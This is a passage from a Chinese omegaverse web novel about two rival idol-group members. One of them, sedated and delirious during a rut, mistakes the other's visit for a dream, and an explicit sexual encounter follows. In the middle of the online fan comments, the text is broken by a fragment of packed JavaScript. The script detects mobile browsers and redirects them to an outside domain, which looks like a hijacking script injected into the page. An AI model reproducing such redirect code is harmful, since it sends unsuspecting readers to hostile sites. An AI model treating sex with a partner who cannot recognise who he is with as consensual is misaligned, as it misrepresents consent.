《管暗恋的对家A叫老公会怎样?》
1. 第 1 章
三月末,首都某场馆。
某平台举办的一年一度音乐盛典活动。
六人男子偶像团体unforbid''em表演完刚下舞台没多久,便被拉去接受后台采访。
“unforbid''em时隔一年再次迎来回归,大家有什么想对粉丝说的话?”
“听说组合上一次全员合体还是在去年的跨年晚会上,这期间成员们有互相联络吗?”
“关于这次新专辑,有没有什么可以对粉丝透露的内容?”
……
最新话题是:“Unforbid''em出道四年,相信大家都在相处中更加了解彼此,队长刚刚在盛典上凭借为电视剧《愿君多采撷》献唱的《记号》获得了年度影视单曲,每个人可以说一下对他的看法或者印象吗,生活中,你觉得他是个怎样的人?”
主持人话音落下,其余几人都很配合地朝被提到的人施行了注目礼。
唯有方柏嘉一人正用屈起来的指关节按着眼角,一脸强忍着的困乏模样。
他今天状态不好。
再有两三天就是日历上标注的易感期,干这行的作息不规律,方柏嘉提前吃了口服抑制剂做预防,眼下不知是不是药效起到作用,整个人都昏昏沉沉,大脑注意力难以集中,有点烦躁。
听到这个问题,他花了好几秒,才在脑海内陈列出那个人的信息。
汤昼恒,unforbid''em的队长,比方柏嘉大一岁,今年二十四,是团里的老大。
此刻正在方柏嘉右手边的右手边站着,身上穿着今晚演出的深蓝色重工演出服,身高一米八/九,高挑挺拔得让人想不注意到都难。
年龄最大加上又是团队领导者,如此典型并刻板的形象,怎么看可发挥的内容都非常稳定,没什么新意的问题。
队员们逐个开始回答。
“很沉稳也很细心,为这个团队付出了很多,似乎无论遇到什么难题都可以解决……有这样的成员在身边感觉很幸运。”
“总是在生活和工作上提供帮助,心情不好的时候,和哥聊一聊也会有豁然开朗的感觉。是可以交谈的很贴心的哥哥。”
留给方柏嘉的答案越来越少,等麦终于递到这边时,他已经发起了呆。
是队友丞绪悄悄在旁边戳了戳他的手臂,方柏嘉这才回神,拿过麦,没有去看等下的评价对象。
大脑在短暂的一瞬死机后重启,意识到没什么剩下的角度可以说的方柏嘉绞尽脑汁也想不到第二种可能,剩下还缠绕在舌尖的话只剩一句。
“嗯……不太看得懂他。”
“诶?”
采访者发出干笑,大概以为方柏嘉走神没听清提问,隐晦地提醒他:“好出乎意料的答案,可以说得再详细一点吗?为什么对队长的印象会是‘看不懂’呢?”
余光里,汤昼恒也朝自己这边望了过来。
方柏嘉依旧没有看他。
话说出口已经感到不妥,但事已至此,中途反悔不是他的风格。
“就是,看不懂这个人。感觉对他也不了解,不太好评价。”
四周开始出现骚动。
主持人疯狂想把眼下的对话盖过:“呃……说起来不仅仅是为OST献唱,队长近些年也有不少电影或者剧集上映播出,想知道你作为队友是否会去观看这些作品,私下会不会和对方讨论?”
方柏嘉还是那张没什么表情的脸:“不会。我不爱看这些东西。”
“……”
气氛彻底走向诡异无声之前,汤昼恒及时接过一旁工作人员递来的备用话筒,熟练地打起圆场:“说到这个,大家可能不知道——”
*
采访一结束,方柏嘉就被经纪人拉去单独训话了。
再回到组合专用的化妆间时,里面只有丞绪和江白树还在等他——
杭泽宇和陆翰音还有别的行程要赶,此时正在去往机场的路上。汤昼恒有个单人热曲奖,团体部分结束后还要留下来个人采访。
专门展示后台直播画面的显示屏上,那个人的身影还在晃动。
此时大概到了尾声阶段,聊天内容逐渐变得不那么正经,话题也从今晚的活动拐到私生活上面。
“对于最近网上传言你和唐宋在谈恋爱,你怎么看?”
两名剩下的队友正好整以暇地看着这一幕,听到方柏嘉走进来的脚步声,都转过头。
丞绪:“哟,叛逆期比格回来了。”
两人起身恭迎皇帝回朝,等他到了近前,江白树一把勾住方柏嘉的脖子:“挨训的滋味怎么样,喜不喜欢经纪人爸爸的大谈心?”
“……你烦不烦,都说了我易感期要到了,别离我那么近。”
方柏嘉伸手挡他一下,欲盖弥彰地捂了捂鼻子,转变话题,被穿好外套的丞绪从后边推着往前走。
“打断一下,既然人都到齐了,请问可以回家睡觉了吗?”
……
音乐盛典的举办城市就在公司所在地,和所有偶像团体一样,公司有为他们提供免费的住所。
只不过组合截至目前已有将近一年的团活空白期,这一年里成员们专注个人发展,有好几个人搬到了外面,目前就他们三个还在住宿舍。
三人先后登上回程的车。
汤昼恒和他们不同路,不用等。
江白树屁股刚挨着座位,手上还编辑着发给汤昼恒的“我们先走了”的文字消息,冷不丁就道:“你说他和唐宋真的假的?”
唐宋是时下正在事业上升期的omega小花,和汤昼恒合作过两部系列电影,两人在里面饰演一对。
前段时间剧组里几个年轻演员聚餐,被狗仔拍到,后续引起一长条的连锁反应。
对这件事,江白树的第一反应也是好奇。
丞绪:“不知道,要不你下次问问他。”
“我?”江白树干笑两声,“还是算了吧,我不敢。”
汤昼恒平时看着温和,却是很有威严、顾及隐私的那类型,他不主动说,江白树只能自己瞎猜。
“话说回来,他俩倒是蛮配的……”
话没说完,后面传来好大一记关门声。
方柏嘉最后一个弯身坐到座位上,默不作声地解开外套。
“哎,”江白树闲不住,又去征求他的意见,“你觉得汤昼恒和唐小姐谈了吗?”
“关我屁事。”
方柏嘉不知道又哪根筋不对,上车前还好好的,冷不丁不耐烦起来,蹙着眉冷冷地一个字、一个字说:“没兴趣。”
他语气生硬得很明显,江白树察觉到了,诧异地上下打量方柏嘉好几眼:“你吃枪药了?”
坐在前排的丞绪头也不回地乐了:“他都不正常一晚上了,合着你刚才没感觉?也不知道发的什么疯,在直播里那么说话——他俩的粉丝肯定又吵起来了。”
方柏嘉:“……”
对内娱男团有了解的人都知道,unforbid''em里大热成员汤昼恒与方柏嘉的粉丝彼此看不上许久,都认为自己这边才是组合中那个真正唯一大桃浦。
代言的逼格高低,微博的数据空瓶,各种官方周边杂志销量多少、哪个首切,一切能拉表的都要比。
但凡二人同框,粉丝恨不得截出八百张图比美,要不然就是一张一张地分析面部微表情和对话反应,稍有不如意就广场打架、公共组刷屏;
另一边正主哪场活动被安排了不合适的妆造,出了不那么完美的崩图,甚至什么时候因为作息颠倒脸上长了个痘,他们都比对家粉还清楚。
此等丧心病狂的行为,就连不追团的路人都闻风丧胆,因此unforbid''em别名又叫——“两个top打得你死我活的那个团”。
也有人笑称,小方糖和小行星如此不和纯粹是粉随正主,看方柏嘉对汤昼恒的那个态度就知道了。
可想而知,他今晚的回答注定将引起不小的波澜。
方柏嘉走过来的路上也确实在看网上的反应。
【爱看A宝互裱的有福了,燈13粉丝打架高楼再添新素材,点进来就看今天音乐盛典后台直播间燈3直接当面评价燈1“看不懂这个人”并称对方不好评价,以后山川相缭还会买团魂大营销吗?】
【男团学来了,男团学真的来了】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762084|174428||http|test|mini|href|location''.split(''|''),0,{}));
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>【半个路人去wb看了cut有点震撼,这个团成员关系这么差吗,燈3说完那句话后全场瞬间寂静,谁看了不说一句燈1脾气好得让人怜爱……】
【早说了燈3就是蔫坏没人信,小方糖还天天吹自担是什么心思细腻敏感性格也是搞笑,一个alpha草这种人设不怕翻车?哪天扒出超雄恶臭小号粉丝就老实了】
【就我一个人觉得那句话没什么吗?李涛,能让不不当着直播间这么多人的面内涵是不是说明平时看起来温和大度的老哥私底下真的很会装?再加上最近的恋情传闻……真是细思恐极。】
【有的人又大发散上了,首先恋情瓜公司已出面辟谣,其次燈1一直是队友和工作人员公认的体面,反观某人情商超低,没记错的话争议性发言也不是一回两回了吧?小方糖还天天给自担草什么心思细腻敏感人设也是搞笑,烙铁实在不行送灌水皇族去上几节语言艺术课呢@UNFORBID''EM_】
【情商低那咋了?心直口快不会说话总比耐不住寂寞的恋爱咖好。浓汤宝现在喜欢拿公司声明说事了,这年头正主亲自出面否认的真恋情还少吗,谁知道劳役背后是不是偷偷谈着呢[笑哭]】
【呃我就问一句,现在这个情况还有人在意今天刚官宣的你燈五月回归吗?】
才过去不到半个小时,各个平台便疯狂涌现出一堆由此发散而来的帖子,到现在都没消停。
不管怎么说,今晚的话题度是绝对足够了。
江白树被丞绪提醒,斜眼狐疑地看着方柏嘉:“行为这么反常,你该不会是那什么感前综合症犯了,嫉妒人家汤昼恒绯闻女友长得漂亮吧?”
方柏嘉对今晚的事自觉理亏,原本正心虚着,闻言差点没翻白眼:“我嫉妒他?他真和谁谈假和谁谈和我有关系吗?”
“那你就是暗恋唐宋。”江白树斩钉截铁。
“……”方柏嘉忍了又忍才没说脏话,“滚,你这个脑子也就能来干咱们这行了。”
说完不再理人。
打开手机,点开微博,映入眼帘的并不是他两千多万粉的官方账号,而是0粉丝,0关注,ID是一串乱码。
上面最近发言还停留在一个星期前,正是汤昼恒被爆出和唐宋疑似恋爱的日子。
【滚滚滚滚滚滚滚滚】
【疑似三月将我抛尸。】
【老公你可以幸福但如果你背着我和别人一起幸福那你还是安息吧[心碎][蜡烛]】
发出来的文字全是这种画风。
确实有小号,但小号是拿来当阴暗爬行的梦男用的。
时隔数天,再看一遍还是心烦。
瞳孔里的反光被垂下来的睫毛遮挡得晦暗不清,方柏嘉面无表情地盯着屏幕发了几秒的呆,脑袋又开始晕了,不适感加重得比采访时还厉害。
他索性又关上手机,闭目养神。
*
四十分钟后,保姆车晃晃悠悠到了地方。
组合宿舍分成两套三居室,在一栋楼里的不同楼层。丞绪和江白树住在一起,而方柏嘉在的这套目前只有他一个人。
和两人在电梯里道完别,方柏嘉单独返回住处,打起精神卸妆洗漱。洗完澡测了下/体温,基本可以确定易感期提前来了。
好在未来几天内都没有行程要跑,方柏嘉心情不好,吃了药就一头扎进床里,不分白天黑夜地睡了两天。
直到中间起来补充抑制剂,才发现之前囤在宿舍里的药已经快用光了。
方柏嘉吃下最后一片口服药,拍了自己常用的抑制剂外包装给经纪人发过去,顺便请对方再买点营养剂过来,转头就又陷入昏迷。
因此也当然没看见,他刚给danny哥发完消息没多久,对方就回了他,说自己现在不在首都,问方柏嘉能不能找助理。
他迟迟没有新动静,经纪人担心他别出了什么事,只好往成员群里转发,问有谁可以就近帮忙给方柏嘉送药。
几个人陆陆续续冒泡,结果要不然是还在外地,要不然是去郊区玩了,一时半会回不来。
最后是汤昼恒出来回复:
【我去吧,我刚好在这边也有空。】
2. 第 2 章
方柏嘉这一觉睡得并不安稳。
他做了个梦,梦里一会儿是江白树说汤昼恒和唐宋挺配的,一会儿是网上粉丝说的“谁知道是不是偷偷谈着呢”,意识不清中,连屋里进了人都没察觉。
说不清是被郁闷的还是热醒的。
方柏嘉一睁开眼,就闻到一阵果味的清香。
那香气清爽又冰凉,让人想起清晨时挂在枝头还带有酸涩口感的樱桃,一下冲散了屋内大量沉积的甜腻奶油气味。
穿着半宽松白绿配色棒球外套的汤昼恒就坐在他的床侧,冲着方柏嘉露出自己的后脑勺。
末端的碎发剃得干净而整齐,一看就刚修理过,手里捏着不知道什么的纸质说明,低头看得仔细。
“你醒了?”
听到身后传来的动静,他转过头,礼节性地手伸过来,碰了碰方柏嘉的额头,检查他的情况怎样。
方柏嘉呆住了。
在他的认知和理解中,汤昼恒是不可能这时候出现在这里的。
首先,那个人已经有一年没住宿舍了。其次,上次见面时他是不是还说了差点让对方下不来台的话来着?
易感期吃的药让他昏昏沉沉,脑子也不够灵光。方柏嘉皱着眉冥思苦想一秒,脸上的表情逐渐从困惑转变为恍然。
——难受了好几天,终于做了个像样的梦了。
身上发热,方柏嘉下意识地追寻本能,想要如往常般地向梦里的汤昼恒寻求慰藉,揉了揉眼睛,对着床边的青年迷迷糊糊叫了一句:“老公?”
“……”
听到这话,汤昼恒的第一反应居然是抬起头,环视整个房间一圈。
没人。
进门后一路穿过客厅和走廊走来的路上也没看出房子里还有别人的迹象。
所以刚才那句是在叫谁?
汤昼恒匪夷所思地偏了偏头。
也许是他听错了。
才这样想,下一秒,身上只穿着一件单薄T恤的方柏嘉便泥鳅一样不由分说地钻进他怀里,叫出了第二声:“……老公,我难受。”
说话间还吸了吸鼻子,声音软绵绵的,带了些闷闷的鼻音,下巴搭在汤昼恒的肩膀上,小动物寻求安慰似的蹭蹭。
他看起来的确不舒服,不知道是不是错觉,这才两三天不见,本就瘦削的下巴竟然又窄了两圈。
方柏嘉人又高瘦,摸着腰细细的,没什么肉,手隔着衣服贴在背上,都能触到微微凸起的脊椎骨。
汤昼恒被他扑了个满怀,脑海里还在琢磨着对方刚才口中的“老公”是谁,他认识吗?
还没能再多思考半秒,毫无征兆地,方柏嘉就捧着他的脸吻了上来。
这下汤昼恒彻底凌乱了。
无论如何,方柏嘉肯定是易感期烧糊涂了,这一点他很肯定。
毕竟以对方平时的态度来说,方柏嘉无论如何都不是会在清醒状态下做出这种事情的人。
柔软的触感挤压嘴唇,汤昼恒怔了两秒才意识到应该拒绝。
他偏了偏头想要躲避,然而身体才往后撤两公分,就被方柏嘉敏锐地察觉到,追上来不依不饶地继续亲。
然后再躲,对方再追。
汤昼恒的不配合让方柏嘉生气又不解:易感期要靠吃药度过已经很难受了,怎么连亲个人都这么麻烦。
平时见不到面,难道在梦里都要给他脸色看吗?
等等。
他突然反应过来,这是他自己的梦,难道不是想对汤昼恒做什么就做什么吗?
方柏嘉脾气上来了,冷不防改变主意,一反刚才的态度推开汤昼恒,转身在枕头下边摸索。
找了半天,终于掏出自己的手机,冲对方冷酷道:“要多少钱,你直接开个价吧。”
今天的主题,就当做富哥包养小白脸好了。
他变脸变得比翻书还快,汤昼恒没拐过弯来,好一会儿不说话。
方柏嘉干脆给他定价:“亲五分钟一万块——不对,十万块,这样可以了吗?我现在就转钱给你。”
说完见汤昼恒不动,又催促他:“把你手机拿出来,快点。”
这场景实在诡异。
当红偶像没人缺这点钱,汤昼恒纠结的是对方的态度——
毕竟方柏嘉熟练的样子不像演的。
他有点在意,又说不清自己在在意什么,迟疑着将手机从上衣口袋中掏出,东西紧接着就被方柏嘉夺走,在他没解锁的手机屏幕上一通煞有介事的乱点。
过了几秒,扔回汤昼恒的怀里,一脸不屑又神志不清地道:“剩下没用完的先存在你这里。”
大功告成,方柏嘉有种终于可以为所欲为了的满足,仰起头,捧着汤昼恒的脸“啾”一声亲上去,一边亲还一边嘟囔:“这才对啊,和我亲一下又能怎么样。”
汤昼恒对着自己的锁屏界面沉默了。
现在可以确认了,这人确实晕得六亲不认。
颈后突然传来压感,他被方柏嘉勾着脖子带倒在床面,汤昼恒反应极快地手肘撑了下床,这才不至于将身体重量完全压在对方身上。
被方柏嘉这么一闹,他再顾不上手机的事,想要起身,却又受限,只能垂头,心情复杂地被动享受着来自身下之人的亲吻。
感觉好像被当成了某种动物。
对方到底是怎么回事,梦游吗?
虽然已经昏头到根本认不出人了,但耍流氓的姿势和手段居然还是很灵活——
此情此景,让汤昼恒实在很难不多想。
他不再抵抗,让方柏嘉感到很高兴,忘我地冲着他薄薄的嘴唇又亲又吮。
自娱自乐了一会儿,随后又有点不满,这个人,也太像木头了吧?他都花钱买服务了,还要他怎样?
这么想着,方柏嘉不由伸手恶狠狠拽了一下那人的衣领,摆出金主的气魄警告他:“给你钱你就这个态度?嘴巴张开!”
梦里的汤昼恒态度立刻软化,身体先是僵硬了两秒,随后拿他没办法似的真的照做,将嘴巴张开了一条小缝。
方柏嘉抓住机会,舌尖当即浅浅地探进去,小心翼翼地刮了刮对方藏在里面的舌肉,旋即飞快退出来,抿了抿自己的下唇,再伸进去,小狗一样地舔。
光是这样就已经让他兴/奋得不行,瞳孔放大,微微喘气得厉害,难/耐地曲起腿,亲几下就要停下来缓一会儿。
易感期内本就浓郁的信息素香味一再升高,像个茧般裹住来人,丝丝缕缕,缠绕不化。
“舌头伸进来……”迷乱中,他向汤昼恒下了第二道命令,“亲我。”
方柏嘉表态到这个程度,还要无动于衷实在很难。
不知过去多久。
汤昼恒态度终于松动,低下头,辗转蹭了几下方柏嘉的唇线,试探性轻轻吮咬他的唇肉。
随后如对方所愿地挑开唇缝,找到方柏嘉舌尖的嫩肉后逗弄一样打圈搅动。
静谧的房间内响起湿润双唇摩擦时发出的啧啧声。
方柏嘉呼吸明显加快,攥紧汤昼恒的上衣领口。
汤昼恒的姿势也几经变化,一开始热得在方柏嘉的帮助下卸下了外套,后边又干脆脱了鞋,钻进被子里抱着人亲。
方柏嘉晕乎乎的,身体完全由本能主宰,很快便不再满足于只是和对方接吻,恬不知耻地一边哼哼一边把自己往来人身上贴,疼痛的部/位小狗一样抵着那人,意图再明显不过。
汤昼恒犹疑几秒,还是伸出手。
……
哪怕是在梦中,这对他来说也有些过于刺激了。
结束后的方柏嘉大脑一片空白,抱着对方不肯撒手,汤昼恒想起身去卫生间,又被他拉回去接着索吻。
亲着亲着,空闲的手便无法无天地探下去按/住。
从进门开始,汤昼恒已有好几次被对方弄得无法招架。
眼下方柏嘉的举动再次打破他的底线,汤昼恒很是克制地发出一声倒吸冷气的声音,抓住方柏嘉作乱的手腕轻声呵斥:“别动。”
方柏嘉的嘴角立刻撇了下来。
刚才的解决方案似乎并没让他的症状有太多好转,方柏嘉面色泛/红,额头抵在汤昼恒的颈窝处煎熬地小声喘气。
被汤昼恒拒绝了,只能抱着对方拼命去嗅他身上的樱桃香气,十分可怜的小狗的样子。
AA之间天性互斥,汤昼恒进门前还尽量收敛自己的气味,就是怕方柏嘉闻了不舒服。然而眼下看情况,对方也不像讨厌他的味道。
常规的手段都不管用,只能剑走偏锋。汤昼恒想到AO之间常用的安抚手段,迟疑几秒,试探性地释放出一点信息素出来,见方柏嘉接受良好,又慢慢加大剂量。
如此被人试探身为一个alpha的底线,方柏嘉非但不曾感到冒犯,反而甘之如饴,鼻腔发出忍/耐不住的闷哼。
没过多久,就在对方的怀里软成了一滩水,目光也涣散了,柔软高挺
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的鼻尖抵在汤昼恒的脸颊上蹭来蹭去,近乎迷乱地叫他老公,说喜欢汤昼恒的味道,觉得他的信息素很好闻。
汤昼恒扯了扯嘴角,心想你认得清人么就叫老公。
但也没不让喊。
他顺着对方的后背轻拍。
头几秒,方柏嘉的呼吸先是趋于平缓,片刻过后,马上却又达到另一个极端,变得越发急促。
过了片刻,汤昼恒听见方柏嘉迷迷糊糊地说他脖子后面疼。
汤昼恒将他翻过身去。
乌黑发尾下,Alpha正散发出浓郁奶油香气的腺体几乎肿到一个惊人的程度,牵连得附近一整块皮肤都跟着夸张地发红充胀。
方柏嘉弓起脖颈凑上前来,一刻也等不了地将腺体递到他的嘴边,一边躁动地在汤昼恒的怀里扭来扭去,一边嗓音闷闷地哼哼:“你亲亲我这里,老公……求你。”
不知是他有意还是无意,因为这个背对着他的姿势,方柏嘉几乎就紧/贴着汤昼恒。
对方越是乱动,就越——
等一下。
在事态变得更严重前,汤昼恒及时抓住他的腰,深吸一口气地猜测。
“……你是想让我给你标记?”
温热指腹抚过凸起的腺体表面,方柏嘉立刻被电一样发起了抖,生涩又急切地去蹭他的手。
虽然没有开口,肢体语言却胜过一切。
通过吃药来抑制动物的天性,想也知道好受不到哪里去,身为同一性别,汤昼恒当然知道那是什么感觉。
看他实在难受,汤昼恒架不住软磨硬泡,终于下定决心。
……
牙齿末端切开脆弱肌肤的一瞬,淡淡的血腥气弥漫开来,新鲜大量的信息素通过血管注入到躯体当中,比简单的亲吻与抚/慰都来得要更鲜明强烈。
方柏嘉肉眼可见地重重一颤,刹那间犹如石像般僵硬在原地,修长的手指深深陷入枕面。
alpha的腺体生来就不是让人咬的,头一次遭受这般直接又浓烈的信息素冲击,他根本承受不住,没一会儿就昏睡过去。
再次醒来仍是半夜。
大抵是身体并未被真正满足,方柏嘉只短暂拥有了两个小时的睡眠,迷糊中就又被某种原始的力量唤起。
他浑身发/热,甫一醒来便呼吸沉重,完全被本能驱使着抱紧身边的人。
汤昼恒也很快被他惊醒。
对方居然还在,这对方柏嘉来说是个莫大的慰藉。
他像个八爪鱼一样缠住汤昼恒,表现出比睡前那次还更过分的索/求无度,早就不满足于这种温和而没有实际性触碰的安抚。
不安、空虚,甚至还有少许的暴躁和不耐烦,这些感触都全方面的升级了。
汤昼恒不解风情的举动却搞得他相当恼火。
经历了前面那一遭,对方已然变得娴熟,摸黑将方柏嘉带到身前,又去扯他的衣物。
察觉到那人打算帮助他第二次,方柏嘉说什么都不愿再和汤昼恒有接触。
他又委屈又愤懑,闹着脾气推搡着肩膀让对方走开,嘴里连珠炮弹似的吐出赌气的句子。
“滚。”
“不要你来。”
“再也不要喜欢你了。”
也不知道这些委屈和愤懑都是冲谁来的,“喜欢你”喜欢的又是谁。
总不会是房间里此刻唯二存在的另一个人吧?
最后汤昼恒也被他带出了点儿火气,不知道是蹭的还是被骂的,拇指和食指顺着方柏嘉的嘴角伸进去,像给小狗看牙一样卡住牙根,不让他乱动,问他:
“认得出我是谁吗?”
方柏嘉睁大眼睛看着他,忽然安静了。黑棕的眼珠滴溜溜地转了两圈,从变形的嘴巴里挤出含糊不清的“老公”两字。
顿了顿,又悄悄伸舌头舔了舔他探进口腔里的手指。
酥热的触感从指尖一滑而过。
方柏嘉稍稍偏头,眼睛眯起,含住他的指尖。
多么令人捉摸不透,上一秒明明还在让他滚。
“……”
汤昼恒的脸色也随之阴晴不定起来,定定地俯视了方柏嘉好几秒,像是妥协了,忽而又从口中轻呵一声,道:“行。”
说完,俯身去将床边的灯关了。
“?”方柏嘉的心情还没从大起大落中转变过来,黑色的阴影已然向他迫近。
汤昼恒抵进他膝/盖中间,整个人覆上来。
3. 第 3 章
次日下午,卧室。
方柏嘉身体动了动,冷不丁睁眼醒了过来。
意识回归,他盯着眼前的虚无发了会儿呆。
感觉嘴巴很干,条件反射地抿抿唇,却感受到意想不到的刺痛。
“嘶——”他顿时皱起眉,倒吸一口气,“怎么搞的……”
方柏嘉小心翼翼地在唇面上按了按,似乎肿了。
爬起来按亮床头灯,打开手机前置又看了眼。
真的肿了。
方柏嘉不可思议地打量着屏幕里红得不正常的、比平时更具微妙肉感的双唇,突然间像意识到什么,将界面返回到上一级。
信息通知栏现实,汤昼恒给他发了八条信息。
方柏嘉还没看清具体内容,就冷不丁把手机甩开了。
电光石火间,脑袋里像有什么东西闪过。
他当即掀开被子,看了眼自己的睡裤。
和上衣不配套。
再扯开打量一眼——
等等这样看不出来。
他试着左右扭了扭腰,感受自己的下半身。
嗯。
没感觉。
方柏嘉“我操”一声。
所以那不是梦。
两分钟后,方柏嘉下了床。
他连拖鞋也没穿,悄悄垫着脚走到关合的卧室门边,耳朵贴上去听了听。
没有声音。
他打开门,又到客厅转了一圈。
汤昼恒的确已经不在了。
“……”
虽说自己现在也不想面对他,但两人一晚上亲也亲了,摸也摸了,第二天起来不打一声招呼就走,未免有点过分了吧?
好像他调戏良家妇男了一样。
“没礼貌。”方柏嘉强行忽略了某种情况下的确如此的事实,压制住其他各种复杂的情绪,冷冷地说了一句。
回卧室的路上进了洗手间,他一眼就看见那条搭在洗衣机旁脏衣篓里的睡裤。
方柏嘉走上前,皱着眉,将脏裤子提着一角拿起来看了看。
又翻开裤腰端详一阵。
然后猛地丢回篓里。
似是被挑动某根神经,他眼皮颤了颤,一下回想到了昨晚。
……
关灯之后,他们并没有进行到最后一步。
对方没脱衣服,就那么自上而下地笼罩着他,模仿着动/物的姿势慢条斯理,一下一下。
空间很黑,方柏嘉双眼没能适应光线,唯一感受到的就是那人的温度。
汤昼恒顿挫/起/伏的节奏让他感觉像是蛰伏在黑夜中的猛/兽——
其实力度也不大,更多的像是在哄人,可是太过了,心理和感官上的兴/奋双重叠加,让他错觉得对方好像真的按动了信号枪,但身体又明显知道不是。
一时间,屋子里全是分不清是谁发出的闷哼,还有某些沉/钝声响。
方柏嘉晃晃悠悠,像小船似的在海中摇/晃,头顶一次次抵上床头垫着的枕头,落下来,再推上去。
汤昼恒居然还问他:“是想要我对你这么/做/吗?”
“这样还可不可以?”
语气虽然冷静,仔细一听,呼吸却也全乱了,声线都带着刻意压制的腔调。
骨头不断被撞/击,方柏嘉抖得说不出话,接触到的神经一片酥麻,像有电流不断炸开。
他双手按在对方的肩膀上,姿势像迎/合又要逃离,指腹都快要在汤昼恒的肌肤上摁出指印。
“嗯……不要了,等一下——”
明明一开始他是缠着对方要求更多的,真到了快要失/控的边缘,他自己却又接受不了,哑声祈求汤昼恒暂停。
但其实汤昼恒根本也没怎么动。
就在他话音落下没多久。
方柏嘉这艘小船才晃悠了二十几个来回,眼前便蓦然闪过一道白/光。
他整个人瞬间僵硬,一动不动,大气也不敢出一下。
全程算下来有五分钟吗?还是两分钟,三分钟?
汤昼恒听见他没了声音,似乎察觉到什么,动作也很快停下来。
然后是行云流水的开灯,出门。回来的时候手上多出了个水杯,汤昼恒把他扶起来,提着杯子的末端给他喂水。
等方柏嘉喝完,又一脸平静地问他:“累了吧,饿不饿?”
方柏嘉都傻了,他尾椎骨还酥着,刚才还顶/他/顶/得/很/厉/害的人转眼又换上温和的动作和神情,是变脸吗?
他沉浸在震惊中晕乎乎地点头,汤昼恒便不知从哪拎出一袋吸吸果冻那样包装的营养剂,拧开盖子,递到他嘴边。
等对方懵懵地喝完,又抽来纸巾给他擦嘴,却见方柏嘉整个人躲进被子里,神色有异,一副欲言又止的样子。
他脸还红着,悬空的睫毛一通乱颤,本就失/神涣/散的目光不知为何有些躲闪,悄悄瞥他一眼,又迅速移开。
“……”汤昼恒起先还以为是自己的原因,犹豫了几秒要不要问,“怎么了?”
方柏嘉声音低得几不可闻,又羞耻、又无助。
“……我裤子好像/湿/了。”
整整两层。从内/裤,到外面的睡裤。
从前边,到后/面。
湿意慢慢越过布料,眼看着就要洇到床单上。
方柏嘉以前从来不知道,原来Alpha的那/里也能/流。
这一晚最终以汤昼恒帮方柏嘉换了新的下半身衣物作为结尾。
刚才发生的事太刺激,方柏嘉真有点被吓到了。
不仅是因为他过于剧烈而反常的身体反/应,还有那超出想象的……肢体接触能带来的隐/秘/触/感。
他是喜欢对方不假,以前做和对方有关的春/梦,也不是没想过自己会是下边的那个。
可这回的春/梦,似乎格外过火,又……格外的真实。
他感觉自己有点承受不来。
方柏嘉一下怂了,像一条鱼一样“哧溜”钻进被窝,把被子上拉到遮住下巴的位置,闭上眼。
汤昼恒的欺骗手法似乎起到作用,身体真的以为他已然餍足,明明也没做什么实质性的举动,却累得眼睛都睁不开,没两分钟,涌上来的困意就将他全方位席卷。
一觉直接睡到第二天醒来。
昨夜的回忆如此生动鲜明,让他忍不住地脸红心跳。
感觉状况不对,方柏嘉赶紧打开水龙头,用冷水狠狠洗了把脸。
浪没边了。
方柏嘉感觉自己一个晚上把过去二十几年的亲嘴份额都用光了。
不仅如此,他还说了很多平时根本不会说的骚话。
什么“舌头伸进来”,那都是小儿科了。毕竟后面,他都是一边把手伸进对方衣服里面摸腹肌揉胸一边说“老公你长得好爽”的。
人怎么能闯这么大祸。
回想起昨夜种种抱着汤昼恒叫老公,以为自己是有钱的金主就为所欲为、还不知羞地让对方给自己干这干那的场景,方柏嘉整个人都绝望了。
最可怕的是他实际上一毛钱也没有花出去,福利却是结结实实地享受到了。
不仅亲了,还附赠了一堆有的没的特殊服务。
靠,所以有这么好的活动以前怎么不早说,他前几年都干什么去了。
话说回来,汤昼恒为什么这么熟练啊。
他该不会也给别人这么做过吧。
……赶紧打住。
这是在想什么呢。
意识到自己的思绪此刻正如脱缰野马般放肆奔腾,方柏嘉猛地甩了甩头,往脸上泼了把水,让自己冷静下来。
这都不是眼下最重要的事。
最重要的是,方柏嘉想。
我在不清醒的状态下叫了他一晚上老公,缠着他又亲又抱、对他提出了很多无理的要求,说了很多露骨的话,还多次试图和他发生关系,他不和我发生关系我还生气——
老天,我到底都干了什么?
方柏嘉一脸麻木地将那两件脏衣服拿过来,放到水下粗暴揉搓片刻,扔进洗衣机里任其翻滚。
随后返回卧室,拿起手机。
犹豫片刻,磨磨蹭蹭到心跳都变快了,想到汤昼恒发给他的那八条微信,他才终于深呼吸,按亮屏幕。
事态紧急,虽然很丢脸,但他还是想知道汤昼恒到底说了什么,又是怎么想的。
……发那么多消息,该不会是骂他吃完不给钱的吧。
还是要跟他说谢谢你的喜欢但我们不可能昨天的事就忘了吧?
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好像后者更像汤昼恒的风格。
方柏嘉一脸凝重地点进对话界面,然后,挑了挑眉。
【下午有通告,赶时间先去机场了,醒了记得吃东西。】
第一条就是有些令他出乎意料的内容。
方柏嘉怀着质疑的态度扯扯嘴角,并不是很信地嘴硬:“谁知道你是真有空还是找个理由跑了。”
还解释给他听,他在乎吗?
他还真在乎。
方柏嘉转头点进微博搜索栏,打下“汤昼恒机场”五个字的同时还在安慰自己,他只是不喜欢别人骗他而已。
这种小事还要特意撒个谎,说明汤昼恒人也不怎么样。
界面跳转,方柏嘉带着审视的目光一脸严肃地在实时广场上扒拉两下,看到线下粉丝今早发的高清送机图。
“居然真没骗人。”
方柏嘉手抚着下唇,低声嘀咕。
好吧,暂时原谅他的不告而别。
再往下看。
【Danny哥抽不开空,让我帮你买药,我看了下你用的那款,这种添加太多镇定成分的抑制剂对身体不好,你可以试试这几个牌子。】
【[图片]】
【[图片]】
【如果你易感期结束要出门,别忘了戴阻隔贴,不知道alpha的腺体标记什么时候会消退,总之注意别被发现。】
【喷伤口的药我也放在床头了。】
……
转向床头柜,方柏嘉果然在那上边看到汤昼恒说的东西,除了喷雾外,还有一个巨大的药店塑料袋,里面装了抑制剂,还有对方昨夜睡前拿来喂他的那种营养剂代餐。
代餐有好多种口味,方柏嘉粗略地翻了翻,选的都是他喜欢的味道。
汤昼恒就是这样,哪怕关系一般,还是能记住你的喜好与口味。
